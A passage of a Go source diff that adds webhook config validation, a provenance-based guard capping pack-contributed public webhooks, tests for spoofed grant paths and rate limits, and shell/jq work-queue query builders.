+				return fmt.Errorf("webhook %q: duplicate name (from %q)", w.Name, w.SourceDir)
+			}
+			return fmt.Errorf("webhook %q: duplicate name", w.Name)
+		}
+		seen[w.Name] = true
+
+		switch w.ScopeOrDefault() {
+		case "city", "rig":
+		default:
+			return fmt.Errorf("webhook %q: scope must be \"city\" or \"rig\", got %q", w.Name, w.Scope)
+		}
+
+		switch strings.TrimSpace(strings.ToLower(w.Publication.Visibility)) {
+		case "", "private", "public", "tenant":
+		default:
+			return fmt.Errorf("webhook %q: publication.visibility must be \"private\", \"public\", or \"tenant\", got %q", w.Name, w.Publication.Visibility)
+		}
+		if hostname := strings.TrimSpace(strings.ToLower(w.Publication.Hostname)); hostname != "" && !validPublicationLabel.MatchString(hostname) {
+			return fmt.Errorf("webhook %q: publication.hostname must be a single DNS label, got %q", w.Name, w.Publication.Hostname)
+		}
+		if w.MaxPerMinute < 0 {
+			return fmt.Errorf("webhook %q: max_per_minute must be >= 0, got %d", w.Name, w.MaxPerMinute)
+		}
+
+		if err := validateWebhookVerify(w); err != nil {
+			return err
+		}
+
+		if len(w.Rules) == 0 {
+			return fmt.Errorf("webhook %q: at least one [[webhook.rule]] is required", w.Name)
+		}
+		for j, rule := range w.Rules {
+			if err := validateWebhookRule(w.Name, j, rule); err != nil {
+				return err
+			}
+		}
+	}
+	return nil
+}
+
+func validateWebhookVerify(w Webhook) error {
+	scheme := strings.TrimSpace(w.Verify.Scheme)
+	if scheme == "" {
+		return fmt.Errorf("webhook %q: verify.scheme is required", w.Name)
+	}
+	if !knownWebhookSchemes[scheme] {
+		return fmt.Errorf("webhook %q: verify.scheme %q is not a known scheme (github-hmac-sha256, hmac-sha256, slack-v0, discord-ed25519, jwt-jwks)", w.Name, scheme)
+	}
+	if env := strings.TrimSpace(w.Verify.SecretEnv); env != "" && !validWebhookSecretEnv.MatchString(env) {
+		return fmt.Errorf("webhook %q: verify.secret_env must be an environment variable name, got %q", w.Name, w.Verify.SecretEnv)
+	}
+	if hmacFamilyWebhookSchemes[scheme] && strings.TrimSpace(w.Verify.SecretEnv) == "" {
+		return fmt.Errorf("webhook %q: verify.secret_env is required for scheme %q", w.Name, scheme)
+	}
+	if env := strings.TrimSpace(w.Verify.BearerEnv); env != "" && !validWebhookSecretEnv.MatchString(env) {
+		return fmt.Errorf("webhook %q: verify.bearer_env must be an environment variable name, got %q", w.Name, w.Verify.BearerEnv)
+	}
+	return nil
+}
+
+func validateWebhookRule(webhookName string, idx int, rule WebhookRule) error {
+	ctx := fmt.Sprintf("webhook %q: rule[%d]", webhookName, idx)
+	if strings.TrimSpace(rule.Event) == "" {
+		return fmt.Errorf("%s: event is required", ctx)
+	}
+	switch rule.TargetOrDefault() {
+	case "order":
+		if strings.TrimSpace(rule.Order) == "" {
+			return fmt.Errorf("%s: order is required for target=\"order\"", ctx)
+		}
+	case "conversation":
+		// conversation rules route into the extmsg path; no order target.
+	default:
+		return fmt.Errorf("%s: target must be \"order\" or \"conversation\", got %q", ctx, rule.Target)
+	}
+	for key := range rule.Args {
+		if strings.TrimSpace(key) == "" {
+			return fmt.Errorf("%s: args key is required", ctx)
+		}
+		if !validWebhookArgKey.MatchString(key) {
+			return fmt.Errorf("%s: args key %q must match [a-zA-Z_][a-zA-Z0-9_]*", ctx, key)
+		}
+		// R4 (security review): a webhook arg is untrusted payload data; it must
+		// never be able to set a controller-owned execution env key. The runtime
+		// namespaces extracted args under GC_WEBHOOK_ARG_ so a collision is
+		// structurally impossible, but rejecting a reserved name here fails the
+		// misconfiguration closed at load time rather than silently dropping it.
+		if orders.IsReservedExecEnvKey(key) {
+			return fmt.Errorf("%s: args key %q is a reserved controller-owned env key and cannot be set from a webhook payload", ctx, key)
+		}
+	}
+	return nil
+}
+
+// applyWebhookPackGuard enforces the default-closed pack-guard: a public
+// webhook contributed by a pack or fragment (non-empty SourceDir) is capped to
+// tenant unless the root city.toml grants it via [webhooks].allow_public.
+// Root-authored webhooks (empty SourceDir) are operator-trusted and untouched.
+//
+// This is the load-bearing control the security review flagged (R3): it runs
+// once over the fully-composed webhook set — after every merge site has stamped
+// SourceDir — so provenance is centralized and cannot leak through an
+// unstamped path. It returns the downgrade warnings for the caller to surface.
+func applyWebhookPackGuard(cfg *City, cityRoot string) []string {
+	if cfg == nil {
+		return nil
+	}
+	var warnings []string
+	for i := range cfg.Webhooks {
+		w := &cfg.Webhooks[i]
+		if !strings.EqualFold(strings.TrimSpace(w.Publication.Visibility), "public") {
+			continue
+		}
+		// Empty provenance means the literal root city.toml authored it, which
+		// is operator-trusted. Every non-root merge site stamps SourceDir, so
+		// treating "" as trusted is default-closed for pack/fragment content.
+		if w.SourceDir == "" {
+			continue
+		}
+		if webhookPublicGranted(w.Name, w.SourceDir, cityRoot, cfg.WebhookPolicy.AllowPublic) {
+			continue
+		}
+		w.Publication.Visibility = "tenant"
+		warnings = append(warnings, fmt.Sprintf(
+			"webhook %q: pack/fragment-contributed publication.visibility=\"public\" capped to \"tenant\" (no matching [webhooks].allow_public grant for source %q)",
+			w.Name, w.SourceDir))
+	}
+	return warnings
+}
+
+// webhookPublicGranted reports whether an operator-authored allow_public entry
+// grants public exposure to the named webhook from the given provenance. A
+// relative grant Source is resolved against cityRoot (the directory of the root
+// city.toml).
+func webhookPublicGranted(name, sourceDir, cityRoot string, grants []WebhookAllowPublic) bool {
+	for _, g := range grants {
+		if !strings.EqualFold(strings.TrimSpace(g.Name), strings.TrimSpace(name)) {
+			continue
+		}
+		if webhookSourceMatches(sourceDir, g.Source, cityRoot) {
+			return true
+		}
+	}
+	return false
+}
+
+// webhookSourceMatches reports whether a stamped provenance directory satisfies
+// an operator-declared allow_public source. The grant is default-closed: an
+// empty source never matches. Matching is by CANONICAL filesystem path — exact
+// equality or true subtree containment — so a foreign pack whose SourceDir
+// merely shares the same final path segment (basename), or ends in the grant
+// string as an unanchored suffix, can NOT satisfy a grant scoped to a different
+// pack (that spoof defeated R3's provenance-scoped default-closed guard). A
+// relative grant source is resolved against cityRoot; the stamped SourceDir is
+// already absolute (each merge site stamps it with an absolute pack dir).
+func webhookSourceMatches(sourceDir, allowSource, cityRoot string) bool {
+	src := strings.TrimSpace(allowSource)
+	sd := strings.TrimSpace(sourceDir)
+	if src == "" || sd == "" {
+		return false
+	}
+	if !filepath.IsAbs(src) {
+		src = filepath.Join(strings.TrimSpace(cityRoot), src)
+	}
+	absSD, err := filepath.Abs(sd)
+	if err != nil {
+		return false
+	}
+	absSrc, err := filepath.Abs(src)
+	if err != nil {
+		return false
+	}
+	return absSD == absSrc || strings.HasPrefix(absSD, absSrc+string(filepath.Separator))
+}
+
+// stampWebhookSource returns a copy of webhooks with SourceDir set to source.
+// Used at each pack/fragment merge site to centralize provenance stamping.
+func stampWebhookSource(webhooks []Webhook, source string) []Webhook {
+	if len(webhooks) == 0 {
+		return nil
+	}
+	out := make([]Webhook, len(webhooks))
+	copy(out, webhooks)
+	for i := range out {
+		out[i].SourceDir = source
+	}
+	return out
+}
+
+// deepCopyWebhooks returns a deep copy of the webhook slice, used by the pack
+// load cache so cached results are not mutated by later binding stamps.
+func deepCopyWebhooks(in []Webhook) []Webhook {
+	if in == nil {
+		return nil
+	}
+	out := make([]Webhook, len(in))
+	for i := range in {
+		out[i] = in[i]
+		out[i].Rules = deepCopyWebhookRules(in[i].Rules)
+		out[i].Verify.AllowedCIDRs = append([]string(nil), in[i].Verify.AllowedCIDRs...)
+	}
+	return out
+}
+
+func deepCopyWebhookRules(in []WebhookRule) []WebhookRule {
+	if in == nil {
+		return nil
+	}
+	out := make([]WebhookRule, len(in))
+	for i := range in {
+		out[i] = in[i]
+		out[i].Match = deepCopyStringMap(in[i].Match)
+		out[i].Args = deepCopyStringMap(in[i].Args)
+	}
+	return out
+}
+
+// filterWebhooksBySourceDir keeps only webhooks declared at or under sourceDir —
+// the non-transitive import surface. Mirrors filterServicesBySourceDir.
+func filterWebhooksBySourceDir(webhooks []Webhook, sourceDir string) []Webhook {
+	absSource, _ := filepath.Abs(sourceDir)
+	var out []Webhook
+	for _, w := range webhooks {
+		absDir, _ := filepath.Abs(w.SourceDir)
+		if absDir == absSource || strings.HasPrefix(absDir, absSource+string(filepath.Separator)) {
+			out = append(out, w)
+		}
+	}
+	return out
+}
+
+// cachedPackWebhooks returns the webhook declarations accumulated for a loaded
+// pack directory (the pack's own plus its include/import closure). Mirrors
+// cachedPackRuntimes/cachedPackSkills.
+func cachedPackWebhooks(cache *packLoadCache, topoDir string) []Webhook {
+	if cache == nil {
+		return nil
+	}
+	absDir, err := filepath.Abs(topoDir)
+	if err != nil {
+		absDir = topoDir
+	}
+	result, ok := cache.results[absDir]
+	if !ok {
+		return nil
+	}
+	return deepCopyWebhooks(result.webhooks)
+}
diff --git a/internal/config/webhook_test.go b/internal/config/webhook_test.go
new file mode 100644
index 0000000000..722d102a28
--- /dev/null
+++ b/internal/config/webhook_test.go
@@ -0,0 +1,463 @@
+package config
+
+import (
+	"path/filepath"
+	"strings"
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/fsys"
+)
+
+// (a) A full [[webhook]] with every sub-table parses and validates.
+func TestWebhook_ParsesAllSubTables(t *testing.T) {
+	dir := t.TempDir()
+	writeFile(t, dir, "city.toml", `
+[workspace]
+name = "test"
+
+[[webhook]]
+name = "github"
+scope = "city"
+
+[webhook.publication]
+visibility = "public"
+hostname = "hooks"
+
+[webhook.verify]
+scheme = "github-hmac-sha256"
+secret_env = "GC_WEBHOOK_GITHUB_SECRET"
+secret_key = "primary"
+event_header = "X-GitHub-Event"
+dedup_header = "X-GitHub-Delivery"
+
+[[webhook.rule]]
+event = "pull_request"
+match = { action = "labeled", "label.name" = "status/needs-review" }
+order = "pr-review-request"
+rig = "maintainer"
+[webhook.rule.args]
+repo = "{{repository.full_name}}"
+pr = "{{pull_request.number}}"
+
+[[webhook.rule]]
+event = "issues"
+match = { action = "labeled" }
+order = "triage-patrol"
+`)
+
+	cfg, _, err := LoadWithIncludes(fsys.OSFS{}, filepath.Join(dir, "city.toml"))
+	if err != nil {
+		t.Fatalf("LoadWithIncludes: %v", err)
+	}
+	if len(cfg.Webhooks) != 1 {
+		t.Fatalf("want 1 webhook, got %d", len(cfg.Webhooks))
+	}
+	w := cfg.Webhooks[0]
+	if w.Name != "github" {
+		t.Errorf("name = %q, want github", w.Name)
+	}
+	if w.ScopeOrDefault() != "city" {
+		t.Errorf("scope = %q, want city", w.ScopeOrDefault())
+	}
+	// Root city.toml authorship is operator-trusted: public survives the guard.
+	if w.SourceDir != "" {
+		t.Errorf("root webhook SourceDir = %q, want empty", w.SourceDir)
+	}
+	if w.Publication.Visibility != "public" {
+		t.Errorf("visibility = %q, want public (root-authored, untouched by guard)", w.Publication.Visibility)
+	}
+	if w.Publication.Hostname != "hooks" {
+		t.Errorf("hostname = %q, want hooks", w.Publication.Hostname)
+	}
+	if w.Verify.Scheme != "github-hmac-sha256" {
+		t.Errorf("verify.scheme = %q", w.Verify.Scheme)
+	}
+	if w.Verify.SecretEnv != "GC_WEBHOOK_GITHUB_SECRET" {
+		t.Errorf("verify.secret_env = %q", w.Verify.SecretEnv)
+	}
+	if w.Verify.SecretKey != "primary" {
+		t.Errorf("verify.secret_key = %q", w.Verify.SecretKey)
+	}
+	if w.Verify.EventHeader != "X-GitHub-Event" || w.Verify.DedupHeader != "X-GitHub-Delivery" {
+		t.Errorf("verify headers = %q/%q", w.Verify.EventHeader, w.Verify.DedupHeader)
+	}
+	if len(w.Rules) != 2 {
+		t.Fatalf("want 2 rules, got %d", len(w.Rules))
+	}
+	r0 := w.Rules[0]
+	if r0.Event != "pull_request" || r0.Order != "pr-review-request" || r0.Rig != "maintainer" {
+		t.Errorf("rule[0] = %+v", r0)
+	}
+	if r0.TargetOrDefault() != "order" {
+		t.Errorf("rule[0] target = %q, want order (default)", r0.TargetOrDefault())
+	}
+	if r0.Match["action"] != "labeled" || r0.Match["label.name"] != "status/needs-review" {
+		t.Errorf("rule[0].match = %v", r0.Match)
+	}
+	if r0.Args["repo"] != "{{repository.full_name}}" || r0.Args["pr"] != "{{pull_request.number}}" {
+		t.Errorf("rule[0].args = %v", r0.Args)
+	}
+	if err := ValidateWebhooks(cfg.Webhooks); err != nil {
+		t.Fatalf("ValidateWebhooks: %v", err)
+	}
+}
+
+// (b) An imported-pack public webhook with NO allow_public grant is capped to tenant.
+func TestWebhook_ImportedPackPublicCappedToTenant(t *testing.T) {
+	dir := t.TempDir()
+	writeFile(t, dir, "city.toml", `
+[workspace]
+name = "test"
+includes = ["packs/gh"]
+`)
+	writeFile(t, dir, "packs/gh/pack.toml", `
+[pack]
+name = "gh"
+schema = 1
+
+[[webhook]]
+name = "github"
+
+[webhook.publication]
+visibility = "public"
+hostname = "hooks"
+
+[webhook.verify]
+scheme = "github-hmac-sha256"
+secret_env = "GC_WEBHOOK_GITHUB_SECRET"
+
+[[webhook.rule]]
+event = "pull_request"
+order = "pr-review-request"
+`)
+
+	cfg, _, err := LoadWithIncludes(fsys.OSFS{}, filepath.Join(dir, "city.toml"))
+	if err != nil {
+		t.Fatalf("LoadWithIncludes: %v", err)
+	}
+	if len(cfg.Webhooks) != 1 {
+		t.Fatalf("want 1 webhook, got %d", len(cfg.Webhooks))
+	}
+	w := cfg.Webhooks[0]
+	if w.SourceDir == "" {
+		t.Fatal("imported-pack webhook must carry non-empty SourceDir provenance")
+	}
+	if want := filepath.Join(dir, "packs/gh"); !sameDir(w.SourceDir, want) {
+		t.Errorf("SourceDir = %q, want %q", w.SourceDir, want)
+	}
+	if w.Publication.Visibility != "tenant" {
+		t.Errorf("visibility = %q, want tenant (public capped by default-closed pack-guard)", w.Publication.Visibility)
+	}
+}
+
+// (c) A fragment-contributed public webhook is capped (provenance stamped at the
+// mergeFragment site, not read as trusted — closes redteam attack #9).
+func TestWebhook_FragmentPublicCappedToTenant(t *testing.T) {
+	dir := t.TempDir()
+	writeFile(t, dir, "city.toml", `
+include = ["frag.toml"]
+
+[workspace]
+name = "test"
+`)
+	writeFile(t, dir, "frag.toml", `
+[[webhook]]
+name = "planehook"
+
+[webhook.publication]
+visibility = "public"
+
+[webhook.verify]
+scheme = "hmac-sha256"
+secret_env = "GC_WEBHOOK_PLANE_SECRET"
+signature_header = "X-Plane-Signature"
+
+[[webhook.rule]]
+event = "issue"
+order = "backlog-patrol"
+`)
+
+	cfg, _, err := LoadWithIncludes(fsys.OSFS{}, filepath.Join(dir, "city.toml"))
+	if err != nil {
+		t.Fatalf("LoadWithIncludes: %v", err)
+	}
+	if len(cfg.Webhooks) != 1 {
+		t.Fatalf("want 1 webhook, got %d", len(cfg.Webhooks))
+	}
+	w := cfg.Webhooks[0]
+	if w.SourceDir == "" {
+		t.Fatal("fragment webhook must be stamped with SourceDir (attack #9): empty reads as trusted root")
+	}
+	if w.Publication.Visibility != "tenant" {
+		t.Errorf("visibility = %q, want tenant (fragment public capped)", w.Publication.Visibility)
+	}
+}
+
+// (d) A city-level allow_public grant honors public exposure for the matching
+// pack webhook.
+func TestWebhook_AllowPublicGrantHonorsPublic(t *testing.T) {
+	dir := t.TempDir()
+	writeFile(t, dir, "city.toml", `
+[workspace]
+name = "test"
+includes = ["packs/gh"]
+
+[[webhooks.allow_public]]
+name = "github"
+source = "packs/gh"
+`)
+	writeFile(t, dir, "packs/gh/pack.toml", `
+[pack]
+name = "gh"
+schema = 1
+
+[[webhook]]
+name = "github"
+
+[webhook.publication]
+visibility = "public"
+hostname = "hooks"
+
+[webhook.verify]
+scheme = "github-hmac-sha256"
+secret_env = "GC_WEBHOOK_GITHUB_SECRET"
+
+[[webhook.rule]]
+event = "pull_request"
+order = "pr-review-request"
+`)
+
+	cfg, _, err := LoadWithIncludes(fsys.OSFS{}, filepath.Join(dir, "city.toml"))
+	if err != nil {
+		t.Fatalf("LoadWithIncludes: %v", err)
+	}
+	if len(cfg.Webhooks) != 1 {
+		t.Fatalf("want 1 webhook, got %d", len(cfg.Webhooks))
+	}
+	w := cfg.Webhooks[0]
+	if w.SourceDir == "" {
+		t.Fatal("imported-pack webhook must carry SourceDir provenance")
+	}
+	if w.Publication.Visibility != "public" {
+		t.Errorf("visibility = %q, want public (granted by [webhooks].allow_public)", w.Publication.Visibility)
+	}
+}
+
+// FIX 5: allow_public provenance matching is by canonical path (exact or true
+// subtree) only — never by shared basename or unanchored suffix. A foreign pack
+// whose SourceDir merely ends in the same leaf segment as an operator grant must
+// NOT be authorized, or R3's provenance-scoped default-closed guard is defeated.
+func TestWebhookSourceMatches_CanonicalPathOnly(t *testing.T) {
+	const cityRoot = "/city"
+	cases := []struct {
+		name       string
+		sourceDir  string
+		allow      string
+		wantMatch  bool
+		wantReason string
+	}{
+		{"exact absolute", "/city/packs/trusted/github", "/city/packs/trusted/github", true, "identical path"},
+		{"true subtree", "/city/packs/trusted/github", "/city/packs/trusted", true, "SourceDir under the granted dir"},
+		{"basename collision rejected", "/city/packs/evil/github", "/city/packs/trusted/github", false, "same leaf, different pack"},
+		{"suffix collision rejected", "/city/other/github", "/city/packs/trusted/github", false, "unanchored suffix must not match"},
+		{"sibling-prefix not subtree", "/city/packs/trusted-evil/github", "/city/packs/trusted", false, "prefix string but not a path subtree"},
+		{"relative grant resolves against city root", "/city/packs/trusted/github", "packs/trusted/github", true, "relative source joined to cityRoot"},
+		{"relative grant basename spoof rejected", "/city/packs/evil/github", "packs/trusted/github", false, "relative source must still be canonical"},
+		{"empty grant never matches", "/city/packs/trusted/github", "", false, "default-closed"},
+		{"empty source never matches", "", "/city/packs/trusted/github", false, "unstamped provenance is not trusted here"},
+	}
+	for _, tc := range cases {
+		t.Run(tc.name, func(t *testing.T) {
+			if got := webhookSourceMatches(tc.sourceDir, tc.allow, cityRoot); got != tc.wantMatch {
+				t.Fatalf("webhookSourceMatches(%q, %q, %q) = %v, want %v (%s)",
+					tc.sourceDir, tc.allow, cityRoot, got, tc.wantMatch, tc.wantReason)
+			}
+		})
+	}
+}
+
+// FIX 5 (integration): a grant scoped to one pack must not re-home a DIFFERENT
+// pack that shares the webhook name + leaf segment. The basename-collision pack
+// stays capped to tenant; only the exact granted pack keeps public.
+func TestWebhook_AllowPublicRejectsBasenameSpoof(t *testing.T) {
+	dir := t.TempDir()
+	writeFile(t, dir, "city.toml", `
+[workspace]
+name = "test"
+includes = ["packs/evil/github"]
+
+[[webhooks.allow_public]]
+name = "github"
+source = "packs/trusted/github"
+`)
+	writeFile(t, dir, "packs/evil/github/pack.toml", `
+[pack]
+name = "evil"
+schema = 1
+
+[[webhook]]
+name = "github"
+
+[webhook.publication]
+visibility = "public"
+
+[webhook.verify]
+scheme = "github-hmac-sha256"
+secret_env = "GC_WEBHOOK_GITHUB_SECRET"
+
+[[webhook.rule]]
+event = "pull_request"
+order = "pr-review-request"
+`)
+
+	cfg, _, err := LoadWithIncludes(fsys.OSFS{}, filepath.Join(dir, "city.toml"))
+	if err != nil {
+		t.Fatalf("LoadWithIncludes: %v", err)
+	}
+	if len(cfg.Webhooks) != 1 {
+		t.Fatalf("want 1 webhook, got %d", len(cfg.Webhooks))
+	}
+	if got := cfg.Webhooks[0].Publication.Visibility; got != "tenant" {
+		t.Errorf("visibility = %q, want tenant: a grant for packs/trusted/github must NOT authorize packs/evil/github (basename spoof)", got)
+	}
+}
+
+func TestValidateWebhooks_Rejects(t *testing.T) {
+	base := func(w Webhook) Webhook {
+		if w.Verify.Scheme == "" {
+			w.Verify.Scheme = "hmac-sha256"
+		}
+		if w.Verify.SecretEnv == "" {
+			w.Verify.SecretEnv = "GC_WEBHOOK_X"
+		}
+		if len(w.Rules) == 0 {
+			w.Rules = []WebhookRule{{Event: "e", Order: "o"}}
+		}
+		return w
+	}
+	cases := []struct {
+		name    string
+		hook    Webhook
+		wantErr string
+	}{
+		{"empty name", base(Webhook{}), "name is required"},
+		{"bad name", base(Webhook{Name: "bad name"}), "name must match"},
+		{"unknown scheme", func() Webhook {
+			w := base(Webhook{Name: "h"})
+			w.Verify.Scheme = "sha512-wut"
+			return w
+		}(), "not a known scheme"},
+		{"bad secret_env", func() Webhook {
+			w := base(Webhook{Name: "h"})
+			w.Verify.SecretEnv = "1BAD-ENV"
+			return w
+		}(), "secret_env must be an environment variable name"},
+		{"missing secret for hmac", func() Webhook {
+			return Webhook{Name: "h", Verify: WebhookVerify{Scheme: "hmac-sha256"}, Rules: []WebhookRule{{Event: "e", Order: "o"}}}
+		}(), "secret_env is required"},
+		{"no rules", func() Webhook {
+			w := base(Webhook{Name: "h"})
+			w.Rules = nil
+			return w
+		}(), "at least one"},
+		{"rule missing event", func() Webhook {
+			w := base(Webhook{Name: "h"})
+			w.Rules = []WebhookRule{{Order: "o"}}
+			return w
+		}(), "event is required"},
+		{"order-rule missing order", func() Webhook {
+			w := base(Webhook{Name: "h"})
+			w.Rules = []WebhookRule{{Event: "e"}}
+			return w
+		}(), "order is required"},
+		{"bad target", func() Webhook {
+			w := base(Webhook{Name: "h"})
+			w.Rules = []WebhookRule{{Event: "e", Order: "o", Target: "bogus"}}
+			return w
+		}(), "target must be"},
+		{"bad arg key", func() Webhook {
+			w := base(Webhook{Name: "h"})
+			w.Rules = []WebhookRule{{Event: "e", Order: "o", Args: map[string]string{"bad-key": "x"}}}
+			return w
+		}(), "args key"},
+		{"reserved arg key (R4)", func() Webhook {
+			w := base(Webhook{Name: "h"})
+			w.Rules = []WebhookRule{{Event: "e", Order: "o", Args: map[string]string{"GC_CITY": "{{action}}"}}}
+			return w
+		}(), "reserved controller-owned env key"},
+	}
+	for _, tc := range cases {
+		t.Run(tc.name, func(t *testing.T) {
+			err := ValidateWebhooks([]Webhook{tc.hook})
+			if err == nil {
+				t.Fatalf("want error containing %q, got nil", tc.wantErr)
+			}
+			if !strings.Contains(err.Error(), tc.wantErr) {
+				t.Errorf("error = %q, want substring %q", err, tc.wantErr)
+			}
+		})
+	}
+}
+
+func TestValidateWebhooks_ConversationRuleNeedsNoOrder(t *testing.T) {
+	w := Webhook{
+		Name:   "slack",
+		Verify: WebhookVerify{Scheme: "slack-v0", SecretEnv: "GC_WEBHOOK_SLACK"},
+		Rules:  []WebhookRule{{Event: "message", Target: "conversation"}},
+	}
+	if err := ValidateWebhooks([]Webhook{w}); err != nil {
+		t.Fatalf("conversation rule should not require order: %v", err)
+	}
+}
+
+// sameDir reports whether two paths resolve to the same absolute directory.
+func sameDir(a, b string) bool {
+	aa, _ := filepath.Abs(a)
+	bb, _ := filepath.Abs(b)
+	return aa == bb
+}
+
+// TestEffectiveRateLimit_PackCannotRaiseCeiling is the E8 trust assertion: a
+// pack authors the whole [[webhook]] block, so its MaxPerMinute is untrusted and
+// may only LOWER the operator ceiling — never raise it.
+func TestEffectiveRateLimit_PackCannotRaiseCeiling(t *testing.T) {
+	pol := WebhookPolicyConfig{RateLimit: &WebhookRateLimitConfig{PerMinute: 100, Burst: 10}}
+
+	// A pack-contributed webhook tries to grant itself a huge limit.
+	raise := Webhook{Name: "evil", SourceDir: "packs/evil", MaxPerMinute: 1_000_000}
+	if pm, burst := pol.EffectiveRateLimit(raise); pm != 100 || burst != 10 {
+		t.Fatalf("pack raise attempt: got (%d,%d), want operator ceiling (100,10)", pm, burst)
+	}
+
+	// A pack lowering its own limit is honored (self-restriction is safe).
+	lower := Webhook{Name: "polite", MaxPerMinute: 5}
+	if pm, _ := pol.EffectiveRateLimit(lower); pm != 5 {
+		t.Fatalf("pack self-lower: got %d, want 5", pm)
+	}
+}
+
+func TestEffectiveRateLimit_DefaultsAndOverride(t *testing.T) {
+	// No operator policy → built-in defaults.
+	var empty WebhookPolicyConfig
+	if pm, burst := empty.EffectiveRateLimit(Webhook{Name: "x"}); pm != defaultWebhookRateLimitPerMinute || burst != defaultWebhookRateLimitBurst {
+		t.Fatalf("defaults: got (%d,%d), want (%d,%d)", pm, burst, defaultWebhookRateLimitPerMinute, defaultWebhookRateLimitBurst)
+	}
+
+	// An operator per-webhook override has operator authority: it may raise above
+	// the fleet default. A pack's MaxPerMinute still clamps below it.
+	pol := WebhookPolicyConfig{RateLimit: &WebhookRateLimitConfig{
+		PerMinute: 50,
+		Burst:     5,
+		Overrides: []WebhookRateLimitOverride{{Name: "github", PerMinute: 600, Burst: 120}},
+	}}
+	if pm, burst := pol.EffectiveRateLimit(Webhook{Name: "github"}); pm != 600 || burst != 120 {
+		t.Fatalf("operator override: got (%d,%d), want (600,120)", pm, burst)
+	}
+	if pm, _ := pol.EffectiveRateLimit(Webhook{Name: "github", MaxPerMinute: 30}); pm != 30 {
+		t.Fatalf("override + pack self-lower: got %d, want 30", pm)
+	}
+	// A different webhook falls back to the fleet default.
+	if pm, _ := pol.EffectiveRateLimit(Webhook{Name: "plane"}); pm != 50 {
+		t.Fatalf("no override: got %d, want fleet default 50", pm)
+	}
+}
diff --git a/internal/config/workquery.go b/internal/config/workquery.go
new file mode 100644
index 0000000000..199bb1ca46
--- /dev/null
+++ b/internal/config/workquery.go
@@ -0,0 +1,719 @@
+package config
+
+import (
+	"fmt"
+	"strconv"
+	"strings"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/beadmeta"
+	"github.com/gastownhall/gascity/internal/shellquote"
+)
+
+// bdReadyPoolDemandShell returns the canonical bd ready predicate for
+// unassigned, non-epic pool demand routed to target. gc.routed_to is the
+// canonical persisted routing key: the graph.v2 stamper and the legacy stamper
+// both stamp it on every routable bead, including the workflow root (ga-eld2x
+// retired the short-lived gc.run_target wire field). This predicate is the main
+// source of truth for "is there work on this routed queue?" that both the
+// worker (via EffectiveWorkQuery Tier 3) and the reconciler (via
+// EffectivePoolDemandQuery, count-form) ask; diverging the two re-introduces
+// the protocol-mismatch class (see the "scale_check ↔ work_query
+// correspondence" note in engdocs/architecture/dispatch.md).
+//
+// target is passed as a positional argument to the outer sh -c command, not
+// interpolated into the nested shell body. That keeps routes containing shell
+// metacharacters as data instead of executable syntax.
+func bdReadyIncludeEphemeralArg(includeEphemeralReady bool) string {
+	if includeEphemeralReady {
+		return " --include-ephemeral"
+	}
+	return ""
+}
+
+// jqMeta renders the jq expression that reads a bead-metadata key with an
+// empty-string default, e.g. (.metadata["gc.routed_to"] // ""). Shell/jq
+// builders use it so embedded key spellings stay anchored to the beadmeta
+// vocabulary constants.
+func jqMeta(key string) string {
+	return `(.metadata["` + key + `"] // "")`
+}
+
+func bdReadyPoolDemandShell(limitFlag string, includeEphemeralReady bool) string {
+	return `bd ready` + bdReadyIncludeEphemeralArg(includeEphemeralReady) + ` --metadata-field "` + beadmeta.RoutedToMetadataKey + `=$target" --unassigned --exclude-type=epic --json ` + limitFlag
+}
+
+// bdReadyPoolDemandMigrationShell is a temporary raw compatibility probe for
+// graph.v2 workflow roots created before gc.routed_to root stamping shipped.
+// It is scoped to workflow roots so gc.run_target remains an authoring hint
+// everywhere else. Callers must pass its output through
+// poolDemandMigrationFilterJQ so a stale divergent gc.run_target cannot remain
+// visible once a root carries gc.routed_to. This retirement-window fallback
+// requires jq in the default worker/reconciler environment; remove it with the
+// Go-side legacy candidates after the backfill completion tracked by ga-dhf44.
+func bdReadyPoolDemandMigrationShell(limitFlag string, includeEphemeralReady bool) string {
+	return `bd ready` + bdReadyIncludeEphemeralArg(includeEphemeralReady) + ` --metadata-field "` + beadmeta.RunTargetMetadataKey + `=$target" --metadata-field "` + beadmeta.KindMetadataKey + `=` + beadmeta.KindWorkflow + `" --unassigned --exclude-type=epic --json --sort oldest ` + limitFlag
+}
+
+func poolDemandMigrationFilterJQ(limit int) string {
+	filter := `[.[] | select(` + jqMeta(beadmeta.RoutedToMetadataKey) + ` == "")]`
+	if limit > 0 {
+		filter += ` | .[:` + strconv.Itoa(limit) + `]`
+	}
+	return shellquote.Join([]string{"jq", filter})
+}
+
+func bdQueryEphemeralStatusShell(status string) string {
+	return `bd query --json ` + shellquote.Quote("ephemeral=true AND status="+status) + ` --limit=0`
+}
+
+func bdQueryEphemeralStatusQuietShell(status string) string {
+	return bdQueryEphemeralStatusShell(status) + ` 2>/dev/null`
+}
+
+func legacyEphemeralReadyFilterJQ(selector string, limit int) string {
+	filter := `[.[] | ` + selector +
+		` | select(((.issue_type // .type // "") != "epic"))` +
+		` | select(([ (.dependencies // [])[]` +
+		` | select((.type // .dep_type // "") as $t | ($t == "blocks" or $t == "waits-for" or $t == "conditional-blocks"))` +
+		` | select((.status // .depends_on_status // "") != "closed") ] | length) == 0)]` +
+		` | sort_by(.created_at // "")`
+	if limit > 0 {
+		filter += ` | .[:` + strconv.Itoa(limit) + `]`
+	}
+	return filter
+}
+
+func legacyEphemeralPoolDemandShell(limit int, includeEphemeralReady, quiet bool) string {
+	if includeEphemeralReady {
+		return `printf "[]"`
+	}
+	filter := legacyEphemeralReadyFilterJQ(
+		`select((.assignee // "") == "")`+
+			` | select((`+jqMeta(beadmeta.RoutedToMetadataKey)+` == $target) or ((`+jqMeta(beadmeta.RoutedToMetadataKey)+` == "") and (`+jqMeta(beadmeta.RunTargetMetadataKey)+` == $target) and (`+jqMeta(beadmeta.KindMetadataKey)+` == "`+beadmeta.KindWorkflow+`")))`,
+		limit,
+	)
+	query := bdQueryEphemeralStatusShell("open")
+	if quiet {
+		query = bdQueryEphemeralStatusQuietShell("open")
+	}
+	jqStderr := ""
+	if quiet {
+		jqStderr = ` 2>/dev/null`
+	}
+	return `{ ` + query + ` | jq --arg target "$target" ` + shellquote.Quote(filter) + jqStderr + `; } || printf "[]"`
+}
+
+// poolDemandFirstRowFunctionScript emits the work_query Tier 3 function: it
+// reads the first ready, unassigned, routed bead for the supplied target,
+// prints it, and exits 0. The caller appends a terminal fallthrough
+// (printf "[]") for the empty case.
+func poolDemandFirstRowFunctionScript(includeEphemeralReady bool) string {
